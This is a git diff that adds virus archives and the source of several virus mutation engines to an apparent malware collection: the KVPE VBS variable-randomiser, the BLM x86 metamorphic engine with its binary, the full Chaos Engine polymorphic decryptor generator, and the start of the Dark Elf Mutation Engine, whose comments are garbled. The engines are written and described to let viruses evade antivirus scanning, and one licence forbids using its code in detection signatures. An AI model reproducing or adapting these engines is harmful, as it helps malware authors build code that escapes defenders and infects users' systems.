diff --git a/Engines/Virus.BAT.Poly.7z b/Engines/Virus.BAT.Poly.7z new file mode 100644 index 00000000..08263565 Binary files /dev/null and b/Engines/Virus.BAT.Poly.7z differ diff --git a/Engines/Virus.Linux.Lime.7z b/Engines/Virus.Linux.Lime.7z new file mode 100644 index 00000000..a145937e Binary files /dev/null and b/Engines/Virus.Linux.Lime.7z differ diff --git a/Engines/Virus.VBS.KVPE.txt b/Engines/Virus.VBS.KVPE.txt new file mode 100644 index 00000000..ca27661e --- /dev/null +++ b/Engines/Virus.VBS.KVPE.txt @@ -0,0 +1,73 @@ + Kefi's VBS Polymorphic Engine v0.1 + [KVPE] + January 24, 2003 + Kefi.[rRlf] + - + +How to use KVPE: + 1. Make a list of every variable in your VBS file + 2. Add it them at the line given + 3. Add the following code to the bottom of your VBS file + + - + +Significance: + This script will replace your variables with a randomly created string with + a random length. By doing this Anti-Viruses will not be able to pick them + up with heuristic scanning, or by the file's size. + + - + +Disclaimer: + This code is for educational purposes only. I will not be held responsible + for your actions with this script. + If you are to use this script in your VBS file you MUST contact me first. I + do not want this method spread. + + - + +Note: + On run this file will create new varibles in your file, which will be hard + to work with, I sujest not running the file until it is finished. + + - + +Contact Me: +e-Mail - kefi@rRlf.de +HTTP - http://vx.netlux.org/~kefi +VX Group - http://rRlf.de + +'---------------- KVPE Code Starts ---------------- +randomize +set fso=createobject("scripting.filesystemobject") +set vbsfile=fso.opentextfile(wscript.scriptfullname,1,false) +code=vbsfile.readall +vars=array("code","vars","var","newlet","num","newlet","fso","vbsfile") '<--- Add all of your varibles here, but do not take any of the ones already in out because if you do the script will not work. +for each var in vars + for num=1 to int(rnd*14) + 2 + if int(rnd*2)+1=1 then + newlet=newlet& ucase(chr((int(rnd*22)+97))) + if int(rnd*2)+1=1 then + newlet=newlet & int(rnd*int(rnd*4)) + end if + else + newlet=newlet&lcase(chr((int(rnd*22)+97))) + if int(rnd*2)+1=1 then + newlet=newlet&int(rnd *2) + else + newlet=newlet&int(rnd*int(rnd*6)) + end if + end if + next + code=replace(code,var,newlet) + newlet="" +next +set vbsfile=fso.opentextfile(wscript.scriptfullname,2,false) +vbsfile.write code +'---------------- KVPE Code Stops ---------------- + +A newer version may be expected in the future, goto http://vx.netlux.org/~kefi for +updates. + +Regards, +Kefi.[rRlf] \ No newline at end of file diff --git a/Engines/Virus.Win32.Abme.7z b/Engines/Virus.Win32.Abme.7z new file mode 100644 index 00000000..929ceaac Binary files /dev/null and b/Engines/Virus.Win32.Abme.7z differ diff --git a/Engines/Virus.Win32.Alma.7z b/Engines/Virus.Win32.Alma.7z new file mode 100644 index 00000000..ebf22126 Binary files /dev/null and b/Engines/Virus.Win32.Alma.7z differ diff --git a/Engines/Virus.Win32.Antisocial.7z b/Engines/Virus.Win32.Antisocial.7z new file mode 100644 index 00000000..d748ea3a Binary files /dev/null and b/Engines/Virus.Win32.Antisocial.7z differ diff --git a/Engines/Virus.Win32.Antiweb.7z b/Engines/Virus.Win32.Antiweb.7z new file mode 100644 index 00000000..d065971d Binary files /dev/null and b/Engines/Virus.Win32.Antiweb.7z differ diff --git a/Engines/Virus.Win32.Ape.7z b/Engines/Virus.Win32.Ape.7z new file mode 100644 index 00000000..57ce3bb9 Binary files /dev/null and b/Engines/Virus.Win32.Ape.7z differ diff --git a/Engines/Virus.Win32.Benny.a.7z b/Engines/Virus.Win32.Benny.a.7z new file mode 100644 index 00000000..7d771193 Binary files /dev/null and b/Engines/Virus.Win32.Benny.a.7z differ diff --git a/Engines/Virus.Win32.Bi-Perm.7z b/Engines/Virus.Win32.Bi-Perm.7z new file mode 100644 index 00000000..d0d16a48 Binary files /dev/null and b/Engines/Virus.Win32.Bi-Perm.7z differ diff --git a/Engines/Virus.Win32.Blm.asm b/Engines/Virus.Win32.Blm.asm new file mode 100644 index 00000000..052e9906 --- /dev/null +++ b/Engines/Virus.Win32.Blm.asm @@ -0,0 +1,325 @@ +; BLM ~ BlueOwls Light Meta +; ************************* +; +; Details +; +; Name: BLM (BlueOwls Light Meta) +; Date: 16 May 2005 +; Size: 412 bytes +; Morphing power: light +; Morphing type: non-expansion +; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..) +; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes +; Used compiler: FASM 1.60 +; Bugs: hopefully none +; +; Morphing +; +; The following instructions can be morphed: +; +; 1. OP reg, reg -> changing the D bit (2) +; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4) +; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2) +; +; Any other instruction's size is calculated and skipped. +; +; Usage notes +; +; BLM can be usefull for any application which would like to do code +; morphing on its own, or other code. There are however, some things +; to keep note on: +; +; - Make sure you don't mix data with code, for example: +; > CALL _LABEL +; > DB "some string",0 +; > _LABEL: +; Would make the meta miscorrectly assume "some string",0 to be +; code. So make sure that in the codearea you specify is no data. +; - On input, esi is allowed to equal edi, but it is not recommended +; if it will cause the meta to morph itself on runtime. +; - This code does not need any data, and only needs to be able to +; execute. It is completely permutatable. +; +; Agreement +; +; This sourcecode is meant to be used in freeware and shareware +; programs, and therefor it is strictly prohibited to add any of this +; code in binary or source format in scan strings or other detection +; methods. If done, it will impact on the sellability of the product, +; and can result in high fees and/or trials before court. +; YOU HAVE BEEN WARNED + +use32 + +; META SOURCE + +; in: esi(ecx) = start of code to morph +; edi(ecx) = start of buffer to put morphed code in +; ecx = size of code to morph (and buffer) +; out: esi = esi + ecx +; edi = edi + ecx +; other registers are destroyed (except esp) + +BLM: cld + lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph +nextcode: push ebx + xor ecx, ecx + push 4 + pop ebx + call .innext + pop ebx + rol edx, 7 ; simple RAND function + neg dx + cmp ebx, esi + ja nextcode + ret + +.next: movsb +.innext: mov al, [esi] + and al, 11100111b + cmp al, 00100110b ; es/cs/ss/ds segment? + jz .next ; check if more + mov al, [esi] + and al, 11111110b + cmp al, 01100100b ; fs/gs segment? + jz .next ; check if more + cmp al, 11110010b ; repz/repnz? + jz .next ; check if more + cmp al, 01100110b ; WORD? + jnz opcode + mov bl, 2 ; set WORD size + jmp .next + +; ----------------------------------------------------------------------- + +opcode: mov al, [esi] + cmp al, 0fh + jnz branch_start + movsb + or al, [esi] ; ????1111 + cmp al, 10001111b + jz .6byte ; -> jxx label32 + cmp al, 10111111b + jz .3byte ; -> movzx/bt? + jmp .done +.6byte: movsb + movsb + movsb +.3byte: movsb +.done: movsb + ret +branch_start: shl al, 1 + jc branch_1xxxxxxx +branch_0xxxxxxx:shl al, 1 + jc branch_01xxxxxx +branch_00xxxxxx:shl al, 4 + jnc op_rmrm_d +op_eax: mov al, [esi] + shr al, 1 + jc .pr32 + movsb + movsb + ret ; -> op al, imm8 +.pr32: add ecx, ebx ; -> op eax, imm32 + rep movsb + movsb + ret +branch_01xxxxxx:cmp al, 11000000b + jb .ncjump + movsb ; -> jxx label8 +.ncjump: cmp al, 068h + jz do_5byte ; -> push imm32 + cmp al, 06ah + jnz .done ; -> popad/pushad/pop/push/dec/inc (reg) + stosb ; -> push imm8 +.done: movsb + ret + +op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m + rcr edx, 1 ; rand true/false + jc .nomorph + cmp al, 11000000b +.nomorph: jb op_rm ; (jc == jb so little optimization) + lodsb + xor al, 00000010b + stosb + lodsb + and eax, 00111111b ; 00000000 00regreg + shl eax, 5 ; 00000reg reg00000 + shr al, 2 ; 00000reg 00reg000 + or al, ah ; 00000xxx 00regreg + or al, 11000000b ; 11regreg + stosb + ret + +branch_1xxxxxxx:shl al, 1 + jc branch_11xxxxxx +branch_10xxxxxx:shl al, 1 + jc branch_101xxxxx +branch_100xxxxx:shl al, 1 + jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf +branch_1000xxxx:cmp al, 01000000b + jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m) + shl al, 3 + jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8 + jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32 +branch_101xxxxx:shl al, 1 + jc branch_1011xxxx +branch_1010xxxx:and al, 11100000b + cmp al, 00100000b + jb op_eax ; -> test eax, imm + cmp al, 10000000b + jz do_5byte ; -> mov mem32, eax + movsb + ret ; -> movs/stos/lods/scas +branch_1011xxxx:shl al, 1 + jnc branch_1100001x.2byte ; -> mov reg, imm8 + jmp op_eax.pr32 ; -> mov reg, imm32 +do_5byte: movsd + movsb + ret +branch_11xxxxxx:shl al, 1 + jc branch_111xxxxx +branch_110xxxxx:shl al, 1 + jc branch_1101xxxx +branch_1100xxxx:cmp al, 11010000b + jz branch_1100001x.2byte ; -> int imm8 + shl al, 1 + jc branch_1100001x.done ; -> leave/int 3 +branch_11000xxx:shl al, 1 + jc op_rm_w ; -> mov r/m, imm +branch_110000xx:shl al, 1 + jc branch_1100001x + inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1 + jmp op_rm +branch_1100001x:shl al, 1 + jc .done +.3byte: movsb +.2byte: movsb ; -> ret imm16 +.done: movsb + ret ; -> ret +branch_1101xxxx:shl al, 2 + jc branch_1100001x.done ; -> xlatb +branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1 + +branch_111xxxxx:shl al, 1 + jc branch_1111xxxx +branch_1110xxxx:shl al, 1 + jnc branch_11101010 ; -> loop label +branch_11101xxx:cmp al, 00100000b + jz branch_111010x0.done ; -> call label +branch_111010x0:shl al, 2 + jc branch_11101010 +.done: movsd ; -> jmp label32 + movsb + ret +branch_11101010:movsb + movsb + ret ; -> jmp label8 +branch_1111xxxx:shl al, 1 + jc branch_11111xxx +branch_11110xxx:shl al, 2 + jnc branch_11111xxx.done ; -> cmc +branch_11111x1x:mov al, [esi+1] ; al = modr/m + and al, 00111000b + jnz op_rm ; -> not/mul/div/idiv + jmp op_rm_w ; -> test +branch_11111xxx:shl al, 1 + jc .done ; -> clc/stc/cli + shr al, 1 + jc op_rm ; -> inc/dec/call/jmp/push +.done: movsb + ret ; -> cld/std + +; ----------------------------------------------------------------------- + +op_rm_w: mov al, [esi] + shr al, 1 + jnc op_rmimm8 +op_rmimm32: add ecx, ebx ; imm length will be 4 or 2 + dec ecx +op_rmimm8: inc ecx ; imm length = 1 byte +op_rm: movsb + lodsb + stosb + cmp al, 11000000b ; op reg, reg + jae .done + mov ah, al + and al, 111b + shr ah, 6 + jz .regaddr + cmp ah, 00000001b + jz .ddone + add ecx, 3 ; op reg, [reg+dword] +.ddone: inc ecx ; op reg, [reg+byte] +.cmpsib: cmp al, 00000100b + jnz .done + xor ebx, ebx + mov eax, ebx + lodsb ; 00000000 iiregreg + shl eax, 2 ; 000000ii regreg00 + xchg bl, ah ; 00000000 regreg00 + shl eax, 3 ; 00000reg reg00000 + shr al, 5 ; 00000reg 00000reg + cmp ah, 4 + jz .randindex + cmp al, 4 + jz .nosib + or bl, bl ; index = 1? + jnz .nosib + rcr edx, 1 + jnc .nosib ; randomly abort switch + xchg al, ah + jmp .nosib +.randindex: mov bl, dl ; index is random + and bl, 00000011b +.nosib: shl al, 5 ; 00000reg reg00000 + shr eax, 3 ; 00000000 regreg00 + mov ah, bl ; 000000ii regreg00 + shr eax, 2 ; 00000000 iiregreg + stosb +.done: rep movsb + ret +.regaddr: cmp al, 00000101b ; op reg, [dword] + jnz .cmpsib + movsd + jmp .done + +; META BINARY + +; in: esi(ecx) = start of code to morph +; edi(ecx) = start of buffer to put morphed code in +; ecx = size of code to morph (and buffer) +; out: esi = esi + ecx +; edi = edi + ecx +; other registers are destroyed (except esp) + +BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91 + db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231 + db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235 + db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10 + db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164 + db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6 + db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114 + db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1 + db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170 + db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195 + db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131 + db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208 + db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208 + db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27 + db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3 + db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249 + db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224 + db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2 + db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208 + db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164 + db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128 + db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216 + db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116 + db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235 + db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232 + db 2,170,243,164,195,60,5,117,191,165,235,246 + +; + diff --git a/Engines/Virus.Win32.Chaos.ASM b/Engines/Virus.Win32.Chaos.ASM new file mode 100644 index 00000000..ac7cf84e --- /dev/null +++ b/Engines/Virus.Win32.Chaos.ASM @@ -0,0 +1,862 @@ + radix 16 + +;***************************************** +;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 * +;***************************************** +;1995 - Sepultura - Australia +;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;on CALLing of TCE - +;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH. +;;; 2 - Make Short Decryptor (No Junk). +;;; 4 - Add Segment Overide. +;;; +;;;CX = Length of Code to Encrypt. +;;;DX = Delta Offset. +;;;DS:SI = Code to encrypt (DS _MUST_ = CS). +;;;ES:DI = Location of Buffer to Create Decryptor in. +;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;ON RETURN: +;;;ES = DS = Segment of Decryptor / Encrypted Code +;;;DX = Pointer to Start of Code +;;;CX = Length of Code +;;;;;;;;;;;;;;;;;;; +;;;Flag EQUates + +MAKE_SMALL equ 1 +PAD_TO_MAX equ 2 +ADD_SEG equ 4 + +;;;;;;;;;;;;;;;;;;; +;;;W.H.A.T.E.V.E.R + +DECRYPTOR_LENGTH equ 190h +MAX_PADDING equ 90h - 1f +length_1 equ (offset int_tbl - offset one_byters)-1 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;REGISTER TABLE - INTEL STANDLE FORMAT + +tce_AX equ 0000xB +tce_CX equ 0001xB +tce_DX equ 0010xB +tce_BX equ 0011xB +tce_SP equ 0100xB +tce_BP equ 0101xB +tce_SI equ 0110xB +tce_DI equ 0111xB + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;THe BeLoW InSTuCTiOn CaN KilL A MaN + +db '[TCE-0.4]',0 + +;***************************************************** +;***************************************************** +;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 *** +;***************************************************** +;***************************************************** + +tce: push ax,bx,bp + push di,si + + cld + + mov tce_begin,di + mov tce_delta,dx + mov c_length,cx + mov tce_flags,ax + call clear_regs + mov B index_sub,0 + + mov B[offset more_junk],0b0 + test W tce_flags,MAKE_SMALL + if nz mov B[offset more_junk],0c3 + + push si + call get_rand_1f + add ax,MAX_PADDING + xchg cx,ax + call more_junk + +swap0: mov si,offset init_1 + lodsw + call binary + jz no_swap1 + xchg ax,[si] + mov [si-2],ax + +no_swap1: + push ax + lodsw + call binary + jnz no_swap2 + xchg ax,[si] + mov [si-2],ax + +no_swap2: + push ax + lodsw + lodsw + call binary + jz build_code + xchg ax,[si] + mov [si-2],ax + +build_code: + pop ax + call ax + call pad_10 + pop ax + call ax + call pad_10 + call W init_3 + call pad_10 + call gen_decrypt + call pad_8 + call W init_4 + call pad_8 + call W init_5 + call pad_10 + call gen_loop + call pad_8 + + test W tce_flags,PAD_TO_MAX + jz no_padding + + mov B[offset more_junk],0b0 + mov cx,DECRYPTOR_LENGTH + add cx,tce_begin + sub cx,di + call more_junk + +no_padding: + mov ax,di + sub ax,DECRYPTOR_LENGTH + add enc_index,ax + mov bx,W index_loc + cmp B index_sub,1 + if e neg ax + add es:[bx],ax + + pop si + mov cx,c_length + rep movsb + mov dx,tce_begin + mov ds,es + call encryptor + mov cx,di + sub cx,dx + + pop si,di + pop bp,bx,ax + ret + +init_count: ;Initialises Count Register.. + call get_unused_reg ;Make Count Initialiser in Encryptor and + cmp al,tce_DX + je init_count + mov count_reg,al ;Decryptor + mov bx,W c_length + shr bx,1 + mov W enc_length,bx + call gen_mov_reg + ret + +init_index: ;Initialises Index Register.. + mov ax,0ff ;Makes Index Initialiser in Encryptor and + call get_rand ;Decryptor.. + push ax + call get_rand_7 + pop ax + if z xor ax,ax + mov B index_off,al + mov bx,DECRYPTOR_LENGTH + add bx, tce_begin + mov W enc_index,bx + add bx, tce_delta + cbw + sub bx,ax + +get_index: + call get_unused_reg + cmp al,tce_BX + jb get_index + mov W index_num,ax + mov B index_reg,al + mov B index_set,1 + call gen_mov_reg + mov B index_set,0 + ret + +gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction + mov W loop_start,di + call pad_8 + mov bl,B key_reg + sal bl,3 + call get_rand_2 + add ax,ax + add ax,offset enc_table + xchg si,ax + lodsw + call binary + if z xchg ah,al + push ax + cmp si,offset enc_table + 2 + jne no_carry_set + mov al,0f8 + call binary + if z inc ax + mov B enc_cf,al + stosb + +no_carry_set: + test W tce_flags,ADD_SEG + jz no_seg_set + mov al,2e + stosb + +no_seg_set: + pop ax + stosb + mov B enc_loop,ah + mov si,W index_num + + cmp B index_reg,tce_BP + je encryptor_has_offset + cmp B index_off,0 + jne encryptor_has_offset + push ax + call get_rand_7 + pop ax + jz encryptor_has_offset + add si,index_tab_c + lodsb + or al,bl + stosb + ret + +encryptor_has_offset: + add si,index_tab_b + lodsb + or al,bl + mov ah,B index_off + or al,bl + stosw + xchg al,ah + cbw + call binary + jnz ret + mov al,ah + stosb + add es:B[di-3],40 + ret + +modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx + call get_rand_7 + jz no_mod_key + call get_rand_2 + add ax,offset modify_table + xchg si,ax + lodsb + mov ah,al + mov al,81 + mov W enc_mod_op,ax + or ah,B key_reg + stosw + call get_any_rand + stosw + +no_mod_key: + mov W enc_mod_val,ax + + ret + +inc_index: ;increase index by 2.. + call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2 + jz add_sub_index + + mov al,B index_reg + or al,40 + stosb + call pad_8 + stosb + ret + +add_sub_index: + mov al,83 + stosb + mov ah,2 + mov al,B index_reg + or al,0c0 + + call binary + jnz put_add_sub_index + + neg ah + or al,0e8 + +put_add_sub_index: + stosw + ret + +gen_loop: + mov al,B count_reg + cmp al,tce_CX + jne not_CX + + push ax + call get_rand_7 + pop ax + jz not_CX + + lea bx,[di+2] + mov ax,W loop_start + sub ax,bx + mov ah,0e2 + call binary + jnz no_loop_nz + xchg bp,ax + jmp short do_loop_nz + +no_loop_nz: + xchg ah,al + stosw + ret + +not_CX: xchg bx,ax + + call binary + jz count_add_sub + + mov al,48 + or al,bl + stosb + jmp short zero_test + + +count_add_sub: + mov al,83 + stosb + mov ah,-1 + mov al,bl + or al,0c0 + + call binary + jnz put_add_sub_count + + neg ah + or al,0e8 + +put_add_sub_count: + stosw + xor bp,bp + push ax + call get_rand_7 + pop ax + jz nloop_nz + +zero_test: + call pad_10 + xor bp,bp +do_loop_nz: + mov al,B count_reg + mov bl,al + sal al,3 + or al,bl + xchg ah,al + mov bh,ah + call get_rand_2 + add ax,offset zero_test_a + xchg si,ax + lodsb + mov ah,bh + or ah,0c0 + stosw + +nloop_nz: + lea bx,[di+2] + mov ax,W loop_start + sub ax,bx + or bp,bp + jnz loop_nz + mov ah,075 + call binary + jnz nnnn + mov B es:[di],0f8 + inc di + sub ax,0fe01 + db 0a9 + +loop_nz:mov ah,0e0 + + +nnnn: xchg ah,al + stosw + ret + +init_key: + call get_any_rand + mov W enc_key,ax + xchg bx,ax + call get_unused_reg + mov B key_reg,al + +gen_mov_reg: + call binary + jz lea_mov + + or al,0b8 + stosb + xchg ax,bx + jmp short put_mov_b + +lea_mov:call binary + jz zero_then_add + + sal al,3 + or al,06 + mov ah,8d + xchg ah,al + stosw + xchg ax,bx + jmp short put_mov_b + +zero_then_add: ;Zero Register (XOR/SUB reg,reg) + push bx ;Then OR/XOR/ADD Value + push ax ;or SUB -Value + mov ah,0c0 + or ah,al + sal al,3 + or ah,al + mov al,29 + call binary + if z mov al,31 + stosw + call pad_10 + pop bx + call get_rand_2 + add ax,offset value_from_0 + xchg si,ax + lodsb + call binary + jz zero_then_sub + + or al,bl + mov ah,81 + xchg ah,al + stosw + pop ax + +put_mov_b: + cmp B index_set,01 + if e mov W index_loc,di + stosw + ret + +zero_then_sub: + cmp B index_set,01 + if e mov B index_sub,1 + mov al,0e8 + or al,bl + mov ah,81 + xchg ah,al + stosw + pop ax + neg ax + jmp short put_mov_b + +pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes + call get_rand_7 + inc ax + jmp short padder + +pad_10: push ax + call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes + or al,8 +padder: xchg cx,ax + call more_junk + pop ax + ret + + +more_junk: + mov al,03 + call get_rand_b + jnz mj0 + + mov B [offset code_jmp],083 ;Re-Enable Jumps + mov ax,cx ;else normal filler junk (1 in 16) + cmp ax,40 + if a mov al,40 + call get_rand_b + xchg bx,ax + call fill_jnk + jmp short mj2 + +mj0: ;8 in 16 chance of some type of jump + call code_jmp + + +mj2: jcxz ret + jmp short more_junk + + +one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION + jcxz ret + mov si,one_byters ;FROM one_byters TABLE + mov al,length_1 + call get_rand_b + add si,ax + movsb + dec cx + dec bx + ret + +reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16.. + sal al,3 + or al,3 + xchg dx,ax + call get_unused_reg + sal al,3 + mov dh,al + call get_rand_7 +do_op: or dh,al + or dh,0c0 + xchg dx,ax +put_2: cmp bx,2 + jb one_byte + stosw + dec cx,2 + dec bx,2 + ret + + +lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI] + cmp al,6 + je lea_reg + + xchg dx,ax + call get_unused_reg + sal al,3 + or al,dl + mov ah,08d + xchg ah,al + + jmp short put_2 + +op_ax: call get_any_rand + and al,8 + or al,5 + and ah,3 + shr ah,4 + or al,ah + +put_3: cmp bx,3 + jb reg_op + stosb + call get_any_rand +put_3b: stosw + sub cx,3 + sub bx,3 + ret + +mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx + or al,0b8 + jmp short put_3 + + +op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16 + cmp bx,4 + jb op_ax + call get_unused_reg + mov ah,81 + xchg dx,ax + call get_rand_7 + sal al,3 + or ax,dx + xchg ah,al + or ah,0c0 + stosw + call get_any_rand + stosw + sub bx,4 + sub cx,4 + ret + + +code_jmp: + cmp cx,3 + jb ret + + mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained + ;(TBAV-J) and helps stops heuristics + call get_any_rand ;else conditional jmp + and ax,1f0f ;between 4 and 43 bytse jmp length + add ah,4 + or al,70 ;conditional jmp instructions are 70 + ;--> 7f + push ax + call get_rand_1f + pop ax + if z mov al,0e3 + xor bx,bx + mov bl,ah + + dec cx,2 + cmp bx,cx + jb put_jmp + mov bx,cx + mov ah,bl + +put_jmp:stosw + +fill_jnk: + or bx,bx + jz ret + + mov al,((offset binary - offset junk_tbl)/2)-1 + call get_rand_b + add ax,ax + add ax,offset junk_tbl + xchg si,ax + lodsw + call ax + jmp short fill_jnk + + +pp_reg: ;generate PUSH reg / junk / POP reg + cmp bx,3 + jb gen_int + + lea ax,[bx-2] + shr ax,1 + call get_rand + xchg ax,dx + call get_rand_7 + or al,50 + stosb + dec cx + dec bx + push ax + xchg dx,ax + sub bx,ax + push bx + xchg bx,ax + call fill_jnk + pop bx + pop ax + + call binary + jz use_same + call get_unused_reg + or al,50 + +use_same: + or al,8 + stosb + dec cx + dec bx + ret + + +gen_int:cmp bx,4 + jb ret + + call get_rand_2 + + add ax,ax + add ax,offset int_tbl + xchg si,ax + lodsw + mov dx,0cdb4 + xchg al,dl + stosw + xchg dx,ax + xchg ah,al + stosw + sub cx,4 + sub bx,4 + ret + +junk_tbl: dw offset op_reg_im + dw offset op_reg_im + dw offset op_reg_im + dw offset gen_int + dw offset gen_int + dw offset pp_reg + dw offset pp_reg + dw offset reg_op + dw offset reg_op + dw offset lea_reg + dw offset lea_reg + dw offset mov_reg + dw offset op_ax + dw offset one_byte + +binary: push ax + mov al,1 + call get_rand_b + pop ax + ret + +get_rand_2: + mov al,2 + db 0a9 + +get_rand_7: + mov al,7 + db 0a9 + +get_rand_1f: + mov al,1f + db 0a9 + +get_any_rand: ;return rnd number in AX between 0 and FFFE + mov al,0fe + +get_rand_b: + cbw + +get_rand: ;returns random number in AX between 0 and AX + push cx,dx + inc ax + push ax + in ax,40 + xchg cx,ax + in ax,40 + rol ax,cl + xchg cx,ax + in ax,40 + xor ax,cx + adc ax,1234 + org $-2 +last_rand dw 0AAAA + mov last_rand,ax + pop cx + xor dx,dx + cmp cx,1 + adc cx,0 + div cx + xchg dx,ax + or ax,ax + pop dx,cx + ret + +one_byters: cmc ;15 1 byte junk instructions + cld + std + in ax,dx + in al,dx + lahf + cbw + nop + aaa + aas + daa + das + inc ax + dec ax + xlat + + +int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer.. + dw 0216 ;AH=02,INT16: Get Keyboard States.. + dw 4d21 ;AH=4D,INT21: Get Program Terminate Status.. + dw 4d21 ;AH=4D,INT21: Get Program Terminate Status.. + dw 0d10 ;AH=0D,INT10: Get Video Info.. + dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer.. + dw 002a + dw 002a + + +clear_regs: cwd + mov B index_reg,dl ;Clears Register Tables + mov B key_reg,dl ;(All Regs Free).. + mov B count_reg,dl + ret + +get_unused_reg: call get_rand_7 ;Return an Unused Register.. + test al,NOT tce_SP ;But _NOT_ SP, or AX. + jz get_unused_reg + cmp al,index_reg + je get_unused_reg + cmp al,count_reg + je get_unused_reg + cmp al,B key_reg + je get_unused_reg + ret + + +;********************************************** +;* The Encryptor (Built along with Decryptor) * +;********************************************** +encryptor: mov cx,1234 + org $-2 +enc_length dw 0 + + mov bx,1234 + org $-2 +enc_index dw 0 + + mov ax,1234 + org $-2 +enc_key dw 0 + +enc_cf: nop +enc_loop: xor [bx],ax + +enc_mod_op dw 0 +enc_mod_val dw 0 + + inc bx,2 + loop enc_cf + ret + +;**************************** +;* Data / Variables / Flags * +;**************************** + +init_1 dw offset init_count +init_2 dw offset init_key +init_3 dw offset init_index + +init_4 dw offset inc_index +init_5 dw offset modify_key + +;* The Below is A table of Values to Be Used To Choose * +;* The Count Register, The Index Register, and The Reg * +;* to save SP in During the Decryptor Loop * +; BX BP SI DI ;This Table is used To Build +index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction +index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above +; SBB ADC XOR XOR ADD SUB +enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes.. + +; AND OR TEST +zero_test_a: db 21, 09,85 + +; SUB ;Opcodes to Modify the Key +modify_table: db 0e8 ;Register +; ADD XOR OR ;Opcode to get A value +value_from_0: db 0c0,0f0,0c8 ;from 0. + +loop_start dw 0 ;Postion for LOOP to Jump to.. + +index_num dw 0 +index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]). +index_loc dw 0 ;location in ES of index reference set +index_sub db 0 ;Was index_reg set using 0 the sub -value? + +index_reg db 0 ;Table of Used Registers.. +count_reg db 0 ;used in GET_UNUSED_REG +key_reg db 0 +index_set db 0 + +tce_flags dw 0 ;Engines Flags +tce_delta dw 0 ;Delta Offset +tce_begin dw 0 ;Beginning +c_length dw 0 +end_tce: + diff --git a/Engines/Virus.Win32.DarkElf.asm b/Engines/Virus.Win32.DarkElf.asm new file mode 100644 index 00000000..fb0f3f28 --- /dev/null +++ b/Engines/Virus.Win32.DarkElf.asm @@ -0,0 +1,821 @@ +; Ŀ +; Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 +; +; +;ணࠬ : +; DEME - ᠬ Mutation +; Randomize -  40h +; RND - AX = RND(65536) + +PUSHSTATE +IDEAL +LOCALS @@ +DEME_MaxDecoderLen=1500 +proc DEME +;ࠬ : +;es:di - , 㤥 ᠭ १ +; ࠧ_ = ࠧ_室_ + 1500 +;ds:si - , 室 ஢ +;dx - ਢ離 ஢騪 ( ORG xxxx) +;bx - ࠧ 室 ( ) +;頥 : +;cx - 祭 ( ) + pushf + push bx di si ds + push cs + pop ds + cld + inc bx + shr bx,1 